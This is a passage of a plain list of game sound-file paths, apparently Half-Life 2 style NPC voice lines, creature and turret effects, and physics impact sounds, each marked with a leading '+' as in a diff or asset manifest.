+npc/overwatch/cityvoice/fprison_missionfailurereminder.wav +npc/overwatch/cityvoice/fprison_nonstandardexogen.wav +npc/overwatch/cityvoice/fprison_perimeterrestrictors.wav +npc/overwatch/cityvoice/fprison_restrictorsdisengaged.wav +npc/overwatch/cityvoice/f_anticitizenreport_spkr.wav +npc/overwatch/cityvoice/f_anticivil1_5_spkr.wav +npc/overwatch/cityvoice/f_anticivilevidence_3_spkr.wav +npc/overwatch/cityvoice/f_capitalmalcompliance_spkr.wav +npc/overwatch/cityvoice/f_ceaseevasionlevelfive_spkr.wav +npc/overwatch/cityvoice/f_citizenshiprevoked_6_spkr.wav +npc/overwatch/cityvoice/f_confirmcivilstatus_1_spkr.wav +npc/overwatch/cityvoice/f_evasionbehavior_2_spkr.wav +npc/overwatch/cityvoice/f_innactionisconspiracy_spkr.wav +npc/overwatch/cityvoice/f_localunrest_spkr.wav +npc/overwatch/cityvoice/f_protectionresponse_1_spkr.wav +npc/overwatch/cityvoice/f_protectionresponse_4_spkr.wav +npc/overwatch/cityvoice/f_protectionresponse_5_spkr.wav +npc/overwatch/cityvoice/f_rationunitsdeduct_3_spkr.wav +npc/overwatch/cityvoice/f_sociolevel1_4_spkr.wav +npc/overwatch/cityvoice/f_trainstation_assemble_spkr.wav +npc/overwatch/cityvoice/f_trainstation_assumepositions_spkr.wav +npc/overwatch/cityvoice/f_trainstation_cooperation_spkr.wav +npc/overwatch/cityvoice/f_trainstation_inform_spkr.wav +npc/overwatch/cityvoice/f_trainstation_offworldrelocation_spkr.wav +npc/overwatch/cityvoice/f_unrestprocedure1_spkr.wav +npc/overwatch/radiovoice/404zone.wav +npc/overwatch/radiovoice/accomplicesoperating.wav +npc/overwatch/radiovoice/administer.wav +npc/overwatch/radiovoice/airwatchcopiesnoactivity.wav +npc/overwatch/radiovoice/airwatchreportspossiblemiscount.wav +npc/overwatch/radiovoice/alarms62.wav +npc/overwatch/radiovoice/allteamsrespondcode3.wav +npc/overwatch/radiovoice/allunitsapplyforwardpressure.wav +npc/overwatch/radiovoice/allunitsat.wav +npc/overwatch/radiovoice/allunitsbeginwhitnesssterilization.wav +npc/overwatch/radiovoice/allunitsbolfor243suspect.wav +npc/overwatch/radiovoice/allunitsdeliverterminalverdict.wav +npc/overwatch/radiovoice/allunitsreturntocode12.wav +npc/overwatch/radiovoice/allunitsverdictcodeis.wav +npc/overwatch/radiovoice/allunitsverdictcodeonsuspect.wav +npc/overwatch/radiovoice/amputate.wav +npc/overwatch/radiovoice/anticitizen.wav +npc/overwatch/radiovoice/antifatigueration3mg.wav +npc/overwatch/radiovoice/apply.wav +npc/overwatch/radiovoice/assault243.wav +npc/overwatch/radiovoice/attemptedcrime27.wav +npc/overwatch/radiovoice/attention.wav +npc/overwatch/radiovoice/attentionyouhavebeenchargedwith.wav +npc/overwatch/radiovoice/beginscanning10-0.wav +npc/overwatch/radiovoice/block.wav +npc/overwatch/radiovoice/canalblock.wav +npc/overwatch/radiovoice/capitalmalcompliance.wav +npc/overwatch/radiovoice/cauterize.wav +npc/overwatch/radiovoice/citizen.wav +npc/overwatch/radiovoice/completesentencingatwill.wav +npc/overwatch/radiovoice/condemnedzone.wav +npc/overwatch/radiovoice/confirmupialert.wav +npc/overwatch/radiovoice/controlsection.wav +npc/overwatch/radiovoice/criminaltrespass63.wav +npc/overwatch/radiovoice/defender.wav +npc/overwatch/radiovoice/deservicedarea.wav +npc/overwatch/radiovoice/destrutionofcpt.wav +npc/overwatch/radiovoice/devisivesociocidal.wav +npc/overwatch/radiovoice/die1.wav +npc/overwatch/radiovoice/die2.wav +npc/overwatch/radiovoice/die3.wav +npc/overwatch/radiovoice/disassociationfromcivic.wav +npc/overwatch/radiovoice/disengaged647e.wav +npc/overwatch/radiovoice/distributionblock.wav +npc/overwatch/radiovoice/disturbancemental10-103m.wav +npc/overwatch/radiovoice/disturbingunity415.wav +npc/overwatch/radiovoice/document.wav +npc/overwatch/radiovoice/eight.wav +npc/overwatch/radiovoice/engagingteamisnoncohesive.wav +npc/overwatch/radiovoice/examine.wav +npc/overwatch/radiovoice/externaljurisdiction.wav +npc/overwatch/radiovoice/failuretocomply.wav +npc/overwatch/radiovoice/failuretotreatoutbreak.wav +npc/overwatch/radiovoice/finalverdictadministered.wav +npc/overwatch/radiovoice/five.wav +npc/overwatch/radiovoice/fmil_Region 073.wav +npc/overwatch/radiovoice/four.wav +npc/overwatch/radiovoice/freeman.wav +npc/overwatch/radiovoice/fugitive17f.wav +npc/overwatch/radiovoice/halfrankpoints.wav +npc/overwatch/radiovoice/halfreproductioncredits.wav +npc/overwatch/radiovoice/hero.wav +npc/overwatch/radiovoice/highpriorityregion.wav +npc/overwatch/radiovoice/illegalcarrying95.wav +npc/overwatch/radiovoice/illegalinoperation63s.wav +npc/overwatch/radiovoice/immediateamputation.wav +npc/overwatch/radiovoice/incitingpopucide.wav +npc/overwatch/radiovoice/industrialzone.wav +npc/overwatch/radiovoice/infection.wav +npc/overwatch/radiovoice/infestedzone.wav +npc/overwatch/radiovoice/inject.wav +npc/overwatch/radiovoice/innoculate.wav +npc/overwatch/radiovoice/inprogress.wav +npc/overwatch/radiovoice/intercede.wav +npc/overwatch/radiovoice/interlock.wav +npc/overwatch/radiovoice/investigate.wav +npc/overwatch/radiovoice/investigateandreport.wav +npc/overwatch/radiovoice/isnow.wav +npc/overwatch/radiovoice/isolate.wav +npc/overwatch/radiovoice/jury.wav +npc/overwatch/radiovoice/king.wav +npc/overwatch/radiovoice/leadersreportratios.wav +npc/overwatch/radiovoice/level5anticivilactivity.wav +npc/overwatch/radiovoice/line.wav +npc/overwatch/radiovoice/lock.wav +npc/overwatch/radiovoice/lockdownlocationsacrificecode.wav +npc/overwatch/radiovoice/lostbiosignalforunit.wav +npc/overwatch/radiovoice/nine.wav +npc/overwatch/radiovoice/noncitizen.wav +npc/overwatch/radiovoice/nonpatrolregion.wav +npc/overwatch/radiovoice/nonsanctionedarson51.wav +npc/overwatch/radiovoice/off2.wav +npc/overwatch/radiovoice/off4.wav +npc/overwatch/radiovoice/officerat.wav +npc/overwatch/radiovoice/officerclosingonsuspect.wav +npc/overwatch/radiovoice/on1.wav +npc/overwatch/radiovoice/on3.wav +npc/overwatch/radiovoice/one.wav +npc/overwatch/radiovoice/outlandzone.wav +npc/overwatch/radiovoice/patrol.wav +npc/overwatch/radiovoice/permanentoffworld.wav +npc/overwatch/radiovoice/politistablizationmarginal.wav +npc/overwatch/radiovoice/posession69.wav +npc/overwatch/radiovoice/prematuremissiontermination.wav +npc/overwatch/radiovoice/prepareforfinalsentencing.wav +npc/overwatch/radiovoice/preparetoinnoculate.wav +npc/overwatch/radiovoice/preparetoreceiveverdict.wav +npc/overwatch/radiovoice/preparevisualdownload.wav +npc/overwatch/radiovoice/preserve.wav +npc/overwatch/radiovoice/pressure.wav +npc/overwatch/radiovoice/productionblock.wav +npc/overwatch/radiovoice/promotingcommunalunrest.wav +npc/overwatch/radiovoice/prosecute.wav +npc/overwatch/radiovoice/publicnoncompliance507.wav +npc/overwatch/radiovoice/quick.wav +npc/overwatch/radiovoice/recalibratesocioscan.wav +npc/overwatch/radiovoice/recievingconflictingdata.wav +npc/overwatch/radiovoice/recklessoperation99.wav +npc/overwatch/radiovoice/reinforcementteamscode3.wav +npc/overwatch/radiovoice/remainingunitscontain.wav +npc/overwatch/radiovoice/reminder100credits.wav +npc/overwatch/radiovoice/remindermemoryreplacement.wav +npc/overwatch/radiovoice/reporton.wav +npc/overwatch/radiovoice/reportplease.wav +npc/overwatch/radiovoice/repurposedarea.wav +npc/overwatch/radiovoice/residentialblock.wav +npc/overwatch/radiovoice/resistingpacification148.wav +npc/overwatch/radiovoice/respond.wav +npc/overwatch/radiovoice/restrict.wav +npc/overwatch/radiovoice/restrictedblock.wav +npc/overwatch/radiovoice/restrictedincursioninprogress.wav +npc/overwatch/radiovoice/rewardnotice.wav +npc/overwatch/radiovoice/riot404.wav +npc/overwatch/radiovoice/roller.wav +npc/overwatch/radiovoice/search.wav +npc/overwatch/radiovoice/sector.wav +npc/overwatch/radiovoice/serve.wav +npc/overwatch/radiovoice/seven.wav +npc/overwatch/radiovoice/six.wav +npc/overwatch/radiovoice/socialfractureinprogress.wav +npc/overwatch/radiovoice/sociocide.wav +npc/overwatch/radiovoice/sociostabilizationrestored.wav +npc/overwatch/radiovoice/stabilizationjurisdiction.wav +npc/overwatch/radiovoice/stationblock.wav +npc/overwatch/radiovoice/statuson243suspect.wav +npc/overwatch/radiovoice/sterilize.wav +npc/overwatch/radiovoice/stick.wav +npc/overwatch/radiovoice/stormsystem.wav +npc/overwatch/radiovoice/subject.wav +npc/overwatch/radiovoice/suspectisnow187.wav +npc/overwatch/radiovoice/suspectmalignantverdictcodeis.wav +npc/overwatch/radiovoice/suspend.wav +npc/overwatch/radiovoice/suspendnegotiations.wav +npc/overwatch/radiovoice/switchcomtotac3.wav +npc/overwatch/radiovoice/switchtotac5reporttocp.wav +npc/overwatch/radiovoice/tap.wav +npc/overwatch/radiovoice/teamsreportstatus.wav +npc/overwatch/radiovoice/terminalprosecution.wav +npc/overwatch/radiovoice/terminalrestrictionzone.wav +npc/overwatch/radiovoice/threattoproperty51b.wav +npc/overwatch/radiovoice/three.wav +npc/overwatch/radiovoice/transitblock.wav +npc/overwatch/radiovoice/two.wav +npc/overwatch/radiovoice/union.wav +npc/overwatch/radiovoice/unitdeserviced.wav +npc/overwatch/radiovoice/unitdownat.wav +npc/overwatch/radiovoice/unlawfulentry603.wav +npc/overwatch/radiovoice/upi.wav +npc/overwatch/radiovoice/vice.wav +npc/overwatch/radiovoice/victor.wav +npc/overwatch/radiovoice/violationofcivictrust.wav +npc/overwatch/radiovoice/wasteriver.wav +npc/overwatch/radiovoice/weapon94.wav +npc/overwatch/radiovoice/workforceintake.wav +npc/overwatch/radiovoice/xray.wav +npc/overwatch/radiovoice/yellow.wav +npc/overwatch/radiovoice/youarechargedwithterminal.wav +npc/overwatch/radiovoice/youarejudgedguilty.wav +npc/overwatch/radiovoice/zero.wav +npc/overwatch/radiovoice/zone.wav +npc/overwatch/radiovoice/_comma.wav +npc/roller/blade_cut.wav +npc/roller/blade_in.wav +npc/roller/blade_out.wav +npc/roller/code2.wav +npc/roller/remote_yes.wav +npc/roller/mine/combine_mine_active_loop1.wav +npc/roller/mine/combine_mine_deactivate1.wav +npc/roller/mine/combine_mine_deploy1.wav +npc/roller/mine/rmine_blades_in1.wav +npc/roller/mine/rmine_blades_in2.wav +npc/roller/mine/rmine_blades_in3.wav +npc/roller/mine/rmine_blades_out1.wav +npc/roller/mine/rmine_blades_out2.wav +npc/roller/mine/rmine_blades_out3.wav +npc/roller/mine/rmine_blip1.wav +npc/roller/mine/rmine_blip3.wav +npc/roller/mine/rmine_chirp_answer1.wav +npc/roller/mine/rmine_chirp_quest1.wav +npc/roller/mine/rmine_explode_shock1.wav +npc/roller/mine/rmine_movefast_loop1.wav +npc/roller/mine/rmine_moveslow_loop1.wav +npc/roller/mine/rmine_predetonate.wav +npc/roller/mine/rmine_seek_loop2.wav +npc/roller/mine/rmine_shockvehicle1.wav +npc/roller/mine/rmine_shockvehicle2.wav +npc/roller/mine/rmine_taunt1.wav +npc/roller/mine/rmine_taunt2.wav +npc/roller/mine/rmine_tossed1.wav +npc/scanner/cbot_discharge1.wav +npc/scanner/cbot_energyexplosion1.wav +npc/scanner/cbot_fly_loop.wav +npc/scanner/cbot_servochatter.wav +npc/scanner/cbot_servoscared.wav +npc/scanner/combat_scan1.wav +npc/scanner/combat_scan2.wav +npc/scanner/combat_scan3.wav +npc/scanner/combat_scan4.wav +npc/scanner/combat_scan5.wav +npc/scanner/combat_scan_loop1.wav +npc/scanner/combat_scan_loop2.wav +npc/scanner/combat_scan_loop4.wav +npc/scanner/combat_scan_loop6.wav +npc/scanner/scanner_alert1.wav +npc/scanner/scanner_blip1.wav +npc/scanner/scanner_combat_loop1.wav +npc/scanner/scanner_electric1.wav +npc/scanner/scanner_electric2.wav +npc/scanner/scanner_explode_crash2.wav +npc/scanner/scanner_nearmiss1.wav +npc/scanner/scanner_nearmiss2.wav +npc/scanner/scanner_pain1.wav +npc/scanner/scanner_pain2.wav +npc/scanner/scanner_photo1.wav +npc/scanner/scanner_scan1.wav +npc/scanner/scanner_scan2.wav +npc/scanner/scanner_scan4.wav +npc/scanner/scanner_scan5.wav +npc/scanner/scanner_scan_loop1.wav +npc/scanner/scanner_scan_loop2.wav +npc/scanner/scanner_siren1.wav +npc/scanner/scanner_siren2.wav +npc/scanner/scanner_talk1.wav +npc/scanner/scanner_talk2.wav +npc/sniper/echo1.wav +npc/sniper/reload1.wav +npc/sniper/sniper1.wav +npc/sniper/sn_blockdown.wav +npc/stalker/breathing3.wav +npc/stalker/go_alert2.wav +npc/stalker/go_alert2a.wav +npc/stalker/laser_burn.wav +npc/stalker/laser_flesh.wav +npc/stalker/stalker_footstep_left1.wav +npc/stalker/stalker_footstep_left2.wav +npc/stalker/stalker_footstep_right1.wav +npc/stalker/stalker_footstep_right2.wav +npc/strider/charging.wav +npc/strider/creak1.wav +npc/strider/creak2.wav +npc/strider/creak3.wav +npc/strider/creak4.wav +npc/strider/fire.wav +npc/strider/striderx_alert2.wav +npc/strider/striderx_alert4.wav +npc/strider/striderx_alert5.wav +npc/strider/striderx_alert6.wav +npc/strider/striderx_die1.wav +npc/strider/striderx_pain2.wav +npc/strider/striderx_pain5.wav +npc/strider/striderx_pain7.wav +npc/strider/striderx_pain8.wav +npc/strider/strider_legstretch1.wav +npc/strider/strider_legstretch2.wav +npc/strider/strider_legstretch3.wav +npc/strider/strider_minigun.wav +npc/strider/strider_minigun2.wav +npc/strider/strider_skewer1.wav +npc/strider/strider_step1.wav +npc/strider/strider_step2.wav +npc/strider/strider_step3.wav +npc/strider/strider_step4.wav +npc/strider/strider_step5.wav +npc/strider/strider_step6.wav +npc/turret_floor/active.wav +npc/turret_floor/alarm.wav +npc/turret_floor/alert.wav +npc/turret_floor/click1.wav +npc/turret_floor/deploy.wav +npc/turret_floor/die.wav +npc/turret_floor/ping.wav +npc/turret_floor/retract.wav +npc/turret_floor/shoot1.wav +npc/turret_floor/shoot2.wav +npc/turret_floor/shoot3.wav +npc/turret_wall/turret_loop1.wav +npc/vort/attack_charge.wav +npc/vort/attack_shoot.wav +npc/vort/claw_swing1.wav +npc/vort/claw_swing2.wav +npc/vort/foot_hit.wav +npc/vort/health_charge.wav +npc/vort/vort_foot1.wav +npc/vort/vort_foot2.wav +npc/vort/vort_foot3.wav +npc/vort/vort_foot4.wav +npc/vort/vort_pain3.wav +npc/waste_scanner/grenade_fire.wav +npc/zombie/claw_miss1.wav +npc/zombie/claw_miss2.wav +npc/zombie/claw_strike1.wav +npc/zombie/claw_strike2.wav +npc/zombie/claw_strike3.wav +npc/zombie/foot1.wav +npc/zombie/foot2.wav +npc/zombie/foot3.wav +npc/zombie/foot_slide1.wav +npc/zombie/foot_slide2.wav +npc/zombie/foot_slide3.wav +npc/zombie/moan_loop1.wav +npc/zombie/moan_loop2.wav +npc/zombie/moan_loop3.wav +npc/zombie/moan_loop4.wav +npc/zombie/zombie_alert1.wav +npc/zombie/zombie_alert2.wav +npc/zombie/zombie_alert3.wav +npc/zombie/zombie_die1.wav +npc/zombie/zombie_die2.wav +npc/zombie/zombie_die3.wav +npc/zombie/zombie_hit.wav +npc/zombie/zombie_pain1.wav +npc/zombie/zombie_pain2.wav +npc/zombie/zombie_pain3.wav +npc/zombie/zombie_pain4.wav +npc/zombie/zombie_pain5.wav +npc/zombie/zombie_pain6.wav +npc/zombie/zombie_pound_door.wav +npc/zombie/zombie_voice_idle1.wav +npc/zombie/zombie_voice_idle10.wav +npc/zombie/zombie_voice_idle11.wav +npc/zombie/zombie_voice_idle12.wav +npc/zombie/zombie_voice_idle13.wav +npc/zombie/zombie_voice_idle14.wav +npc/zombie/zombie_voice_idle2.wav +npc/zombie/zombie_voice_idle3.wav +npc/zombie/zombie_voice_idle4.wav +npc/zombie/zombie_voice_idle5.wav +npc/zombie/zombie_voice_idle6.wav +npc/zombie/zombie_voice_idle7.wav +npc/zombie/zombie_voice_idle8.wav +npc/zombie/zombie_voice_idle9.wav +npc/zombie/zo_attack1.wav +npc/zombie/zo_attack2.wav +npc/zombie_poison/pz_alert1.wav +npc/zombie_poison/pz_alert2.wav +npc/zombie_poison/pz_breathe_loop1.wav +npc/zombie_poison/pz_breathe_loop2.wav +npc/zombie_poison/pz_call1.wav +npc/zombie_poison/pz_die1.wav +npc/zombie_poison/pz_die2.wav +npc/zombie_poison/pz_idle2.wav +npc/zombie_poison/pz_idle3.wav +npc/zombie_poison/pz_idle4.wav +npc/zombie_poison/pz_left_foot1.wav +npc/zombie_poison/pz_pain1.wav +npc/zombie_poison/pz_pain2.wav +npc/zombie_poison/pz_pain3.wav +npc/zombie_poison/pz_right_foot1.wav +npc/zombie_poison/pz_throw2.wav +npc/zombie_poison/pz_throw3.wav +npc/zombie_poison/pz_warn1.wav +npc/zombie_poison/pz_warn2.wav +physics/body/body_medium_break2.wav +physics/body/body_medium_break3.wav +physics/body/body_medium_break4.wav +physics/body/body_medium_impact_hard1.wav +physics/body/body_medium_impact_hard2.wav +physics/body/body_medium_impact_hard3.wav +physics/body/body_medium_impact_hard4.wav +physics/body/body_medium_impact_hard5.wav +physics/body/body_medium_impact_hard6.wav +physics/body/body_medium_impact_soft1.wav +physics/body/body_medium_impact_soft2.wav +physics/body/body_medium_impact_soft3.wav +physics/body/body_medium_impact_soft4.wav +physics/body/body_medium_impact_soft5.wav +physics/body/body_medium_impact_soft6.wav +physics/body/body_medium_impact_soft7.wav +physics/body/body_medium_scrape_rough_loop1.wav +physics/body/body_medium_scrape_smooth_loop1.wav +physics/cardboard/cardboard_box_break1.wav +physics/cardboard/cardboard_box_break2.wav +physics/cardboard/cardboard_box_break3.wav +physics/cardboard/cardboard_box_impact_bullet1.wav +physics/cardboard/cardboard_box_impact_bullet2.wav +physics/cardboard/cardboard_box_impact_bullet3.wav +physics/cardboard/cardboard_box_impact_bullet4.wav +physics/cardboard/cardboard_box_impact_bullet5.wav +physics/cardboard/cardboard_box_impact_hard1.wav +physics/cardboard/cardboard_box_impact_hard2.wav +physics/cardboard/cardboard_box_impact_hard3.wav +physics/cardboard/cardboard_box_impact_hard4.wav +physics/cardboard/cardboard_box_impact_hard5.wav +physics/cardboard/cardboard_box_impact_hard6.wav +physics/cardboard/cardboard_box_impact_hard7.wav +physics/cardboard/cardboard_box_impact_soft1.wav +physics/cardboard/cardboard_box_impact_soft2.wav +physics/cardboard/cardboard_box_impact_soft3.wav +physics/cardboard/cardboard_box_impact_soft4.wav +physics/cardboard/cardboard_box_impact_soft5.wav +physics/cardboard/cardboard_box_impact_soft6.wav +physics/cardboard/cardboard_box_impact_soft7.wav +physics/cardboard/cardboard_box_scrape_rough_loop1.wav +physics/cardboard/cardboard_box_scrape_smooth_loop1.wav +physics/cardboard/cardboard_cup_impact_hard1.wav +physics/cardboard/cardboard_cup_impact_hard2.wav +physics/cardboard/cardboard_cup_impact_hard3.wav +physics/concrete/boulder_impact_hard1.wav +physics/concrete/boulder_impact_hard2.wav +physics/concrete/boulder_impact_hard3.wav +physics/concrete/boulder_impact_hard4.wav +physics/concrete/concrete_block_impact_hard1.wav +physics/concrete/concrete_block_impact_hard2.wav +physics/concrete/concrete_block_impact_hard3.wav +physics/concrete/concrete_block_scrape_rough_loop1.wav +physics/concrete/concrete_break2.wav +physics/concrete/concrete_break3.wav +physics/concrete/concrete_impact_bullet1.wav +physics/concrete/concrete_impact_bullet2.wav +physics/concrete/concrete_impact_bullet3.wav +physics/concrete/concrete_impact_bullet4.wav +physics/concrete/concrete_impact_hard1.wav +physics/concrete/concrete_impact_hard2.wav +physics/concrete/concrete_impact_hard3.wav +physics/concrete/concrete_impact_soft1.wav +physics/concrete/concrete_impact_soft2.wav +physics/concrete/concrete_impact_soft3.wav +physics/concrete/concrete_scrape_smooth_loop1.wav +physics/concrete/rock_impact_hard1.wav +physics/concrete/rock_impact_hard2.wav +physics/concrete/rock_impact_hard3.wav +physics/concrete/rock_impact_hard4.wav +physics/concrete/rock_impact_hard5.wav +physics/concrete/rock_impact_hard6.wav +physics/concrete/rock_impact_soft1.wav +physics/concrete/rock_impact_soft2.wav +physics/concrete/rock_impact_soft3.wav +physics/concrete/rock_scrape_rough_loop1.wav +physics/flesh/flesh_bloody_break.wav +physics/flesh/flesh_bloody_impact_hard1.wav +physics/flesh/flesh_impact_bullet1.wav +physics/flesh/flesh_impact_bullet2.wav +physics/flesh/flesh_impact_bullet3.wav +physics/flesh/flesh_impact_bullet4.wav +physics/flesh/flesh_impact_bullet5.wav +physics/flesh/flesh_impact_hard1.wav +physics/flesh/flesh_impact_hard2.wav +physics/flesh/flesh_impact_hard3.wav +physics/flesh/flesh_impact_hard4.wav +physics/flesh/flesh_impact_hard5.wav +physics/flesh/flesh_impact_hard6.wav +physics/flesh/flesh_scrape_rough_loop.wav +physics/flesh/flesh_squishy_impact_hard1.wav +physics/flesh/flesh_squishy_impact_hard2.wav +physics/flesh/flesh_squishy_impact_hard3.wav +physics/flesh/flesh_squishy_impact_hard4.wav +physics/flesh/flesh_strider_impact_bullet1.wav +physics/flesh/flesh_strider_impact_bullet2.wav +physics/flesh/flesh_strider_impact_bullet3.wav +physics/glass/glass_bottle_break1.wav +physics/glass/glass_bottle_break2.wav +physics/glass/glass_bottle_impact_hard1.wav +physics/glass/glass_bottle_impact_hard2.wav +physics/glass/glass_bottle_impact_hard3.wav +physics/glass/glass_cup_break1.wav +physics/glass/glass_cup_break2.wav +physics/glass/glass_impact_bullet1.wav +physics/glass/glass_impact_bullet2.wav +physics/glass/glass_impact_bullet3.wav +physics/glass/glass_impact_bullet4.wav +physics/glass/glass_impact_hard1.wav +physics/glass/glass_impact_hard2.wav +physics/glass/glass_impact_hard3.wav +physics/glass/glass_impact_soft1.wav +physics/glass/glass_impact_soft2.wav +physics/glass/glass_impact_soft3.wav +physics/glass/glass_largesheet_break1.wav +physics/glass/glass_largesheet_break2.wav +physics/glass/glass_largesheet_break3.wav +physics/glass/glass_pottery_break1.wav +physics/glass/glass_pottery_break2.wav +physics/glass/glass_pottery_break3.wav +physics/glass/glass_pottery_break4.wav +physics/glass/glass_sheet_break1.wav +physics/glass/glass_sheet_break2.wav +physics/glass/glass_sheet_break3.wav +physics/glass/glass_sheet_impact_hard1.wav +physics/glass/glass_sheet_impact_hard2.wav +physics/glass/glass_sheet_impact_hard3.wav +physics/glass/glass_sheet_impact_soft1.wav +physics/glass/glass_sheet_impact_soft2.wav +physics/glass/glass_sheet_impact_soft3.wav +physics/glass/glass_sheet_step1.wav +physics/glass/glass_sheet_step2.wav +physics/glass/glass_sheet_step3.wav +physics/glass/glass_sheet_step4.wav +physics/metal/canister_scrape_rough_loop1.wav +physics/metal/canister_scrape_smooth_loop1.wav +physics/metal/metal_barrel_impact_hard1.wav +physics/metal/metal_barrel_impact_hard2.wav +physics/metal/metal_barrel_impact_hard3.wav +physics/metal/metal_barrel_impact_hard5.wav +physics/metal/metal_barrel_impact_hard6.wav +physics/metal/metal_barrel_impact_hard7.wav +physics/metal/metal_barrel_impact_soft1.wav +physics/metal/metal_barrel_impact_soft2.wav +physics/metal/metal_barrel_impact_soft3.wav +physics/metal/metal_barrel_impact_soft4.wav +physics/metal/metal_box_break1.wav +physics/metal/metal_box_break2.wav +physics/metal/metal_box_footstep1.wav +physics/metal/metal_box_footstep2.wav +physics/metal/metal_box_footstep3.wav +physics/metal/metal_box_footstep4.wav +physics/metal/metal_box_impact_bullet1.wav +physics/metal/metal_box_impact_bullet2.wav +physics/metal/metal_box_impact_bullet3.wav +physics/metal/metal_box_impact_hard1.wav +physics/metal/metal_box_impact_hard2.wav +physics/metal/metal_box_impact_hard3.wav +physics/metal/metal_box_impact_soft1.wav +physics/metal/metal_box_impact_soft2.wav +physics/metal/metal_box_impact_soft3.wav +physics/metal/metal_box_scrape_rough_loop1.wav +physics/metal/metal_box_scrape_rough_loop2.wav +physics/metal/metal_box_scrape_smooth_loop1.wav +physics/metal/metal_box_strain1.wav +physics/metal/metal_box_strain2.wav +physics/metal/metal_box_strain3.wav +physics/metal/metal_box_strain4.wav +physics/metal/metal_canister_impact_hard1.wav +physics/metal/metal_canister_impact_hard2.wav +physics/metal/metal_canister_impact_hard3.wav +physics/metal/metal_canister_impact_soft1.wav +physics/metal/metal_canister_impact_soft2.wav +physics/metal/metal_canister_impact_soft3.wav +physics/metal/metal_chainlink_impact_hard1.wav +physics/metal/metal_chainlink_impact_hard2.wav +physics/metal/metal_chainlink_impact_hard3.wav +physics/metal/metal_chainlink_impact_soft1.wav +physics/metal/metal_chainlink_impact_soft2.wav +physics/metal/metal_chainlink_impact_soft3.wav +physics/metal/metal_chainlink_scrape_rough_loop1.wav +physics/metal/metal_computer_impact_bullet1.wav +physics/metal/metal_computer_impact_bullet2.wav +physics/metal/metal_computer_impact_bullet3.wav +physics/metal/metal_computer_impact_hard1.wav +physics/metal/metal_computer_impact_hard2.wav +physics/metal/metal_computer_impact_hard3.wav +physics/metal/metal_computer_impact_soft1.wav +physics/metal/metal_computer_impact_soft2.wav +physics/metal/metal_computer_impact_soft3.wav +physics/metal/metal_grate_impact_hard1.wav +physics/metal/metal_grate_impact_hard2.wav +physics/metal/metal_grate_impact_hard3.wav +physics/metal/metal_grate_impact_soft1.wav +physics/metal/metal_grate_impact_soft2.wav +physics/metal/metal_grate_impact_soft3.wav +physics/metal/metal_grenade_impact_hard1.wav +physics/metal/metal_grenade_impact_hard2.wav +physics/metal/metal_grenade_impact_hard3.wav +physics/metal/metal_grenade_impact_soft1.wav +physics/metal/metal_grenade_impact_soft2.wav +physics/metal/metal_grenade_impact_soft3.wav +physics/metal/metal_grenade_scrape_rough_loop1.wav +physics/metal/metal_grenade_scrape_smooth_loop1.wav +physics/metal/metal_large_debris1.wav +physics/metal/metal_large_debris2.wav +physics/metal/metal_sheet_impact_bullet1.wav +physics/metal/metal_sheet_impact_bullet2.wav +physics/metal/metal_sheet_impact_hard2.wav +physics/metal/metal_sheet_impact_hard6.wav +physics/metal/metal_sheet_impact_hard7.wav +physics/metal/metal_sheet_impact_hard8.wav +physics/metal/metal_sheet_impact_soft2.wav +physics/metal/metal_solid_impact_bullet1.wav +physics/metal/metal_solid_impact_bullet2.wav +physics/metal/metal_solid_impact_bullet3.wav +physics/metal/metal_solid_impact_bullet4.wav +physics/metal/metal_solid_impact_hard1.wav +physics/metal/metal_solid_impact_hard4.wav +physics/metal/metal_solid_impact_hard5.wav +physics/metal/metal_solid_impact_soft1.wav +physics/metal/metal_solid_impact_soft2.wav +physics/metal/metal_solid_impact_soft3.wav +physics/metal/metal_solid_strain1.wav +physics/metal/metal_solid_strain2.wav +physics/metal/metal_solid_strain3.wav +physics/metal/metal_solid_strain4.wav +physics/metal/metal_solid_strain5.wav +physics/metal/paintcan_impact_hard1.wav +physics/metal/paintcan_impact_hard2.wav +physics/metal/paintcan_impact_hard3.wav +physics/metal/paintcan_impact_soft1.wav +physics/metal/paintcan_impact_soft2.wav +physics/metal/paintcan_impact_soft3.wav +physics/metal/sawblade_stick1.wav +physics/metal/sawblade_stick2.wav +physics/metal/sawblade_stick3.wav +physics/metal/soda_can_impact_hard1.wav +physics/metal/soda_can_impact_hard2.wav +physics/metal/soda_can_impact_hard3.wav +physics/metal/soda_can_impact_soft1.wav +physics/metal/soda_can_impact_soft2.wav +physics/metal/soda_can_impact_soft3.wav +physics/metal/soda_can_scrape_rough_loop1.wav +physics/metal/weapon_footstep1.wav +physics/metal/weapon_footstep2.wav +physics/metal/weapon_impact_hard1.wav +physics/metal/weapon_impact_hard2.wav +physics/metal/weapon_impact_hard3.wav +physics/metal/weapon_impact_soft1.wav +physics/metal/weapon_impact_soft2.wav +physics/metal/weapon_impact_soft3.wav +physics/nearmiss/whoosh_huge1.wav +physics/nearmiss/whoosh_huge2.wav +physics/nearmiss/whoosh_large1.wav +physics/nearmiss/whoosh_large4.wav +physics/plaster/ceilingtile_break1.wav +physics/plaster/ceilingtile_break2.wav +physics/plaster/ceiling_tile_impact_bullet1.wav +physics/plaster/ceiling_tile_impact_bullet2.wav +physics/plaster/ceiling_tile_impact_bullet3.wav +physics/plaster/ceiling_tile_impact_hard1.wav +physics/plaster/ceiling_tile_impact_hard2.wav +physics/plaster/ceiling_tile_impact_hard3.wav +physics/plaster/ceiling_tile_impact_soft1.wav +physics/plaster/ceiling_tile_impact_soft2.wav +physics/plaster/ceiling_tile_impact_soft3.wav +physics/plaster/ceiling_tile_scrape_smooth_loop1.wav +physics/plaster/ceiling_tile_step1.wav +physics/plaster/ceiling_tile_step2.wav +physics/plaster/ceiling_tile_step3.wav +physics/plaster/ceiling_tile_step4.wav +physics/plaster/drywall_footstep1.wav +physics/plaster/drywall_footstep2.wav +physics/plaster/drywall_footstep3.wav +physics/plaster/drywall_footstep4.wav +physics/plaster/drywall_impact_hard1.wav +physics/plaster/drywall_impact_hard2.wav +physics/plaster/drywall_impact_hard3.wav +physics/plaster/drywall_impact_soft1.wav +physics/plaster/drywall_impact_soft2.wav +physics/plaster/drywall_impact_soft3.wav +physics/plastic/plastic_barrel_break1.wav +physics/plastic/plastic_barrel_break2.wav +physics/plastic/plastic_barrel_impact_bullet1.wav +physics/plastic/plastic_barrel_impact_bullet2.wav +physics/plastic/plastic_barrel_impact_bullet3.wav +physics/plastic/plastic_barrel_impact_hard1.wav +physics/plastic/plastic_barrel_impact_hard2.wav +physics/plastic/plastic_barrel_impact_hard3.wav +physics/plastic/plastic_barrel_impact_hard4.wav 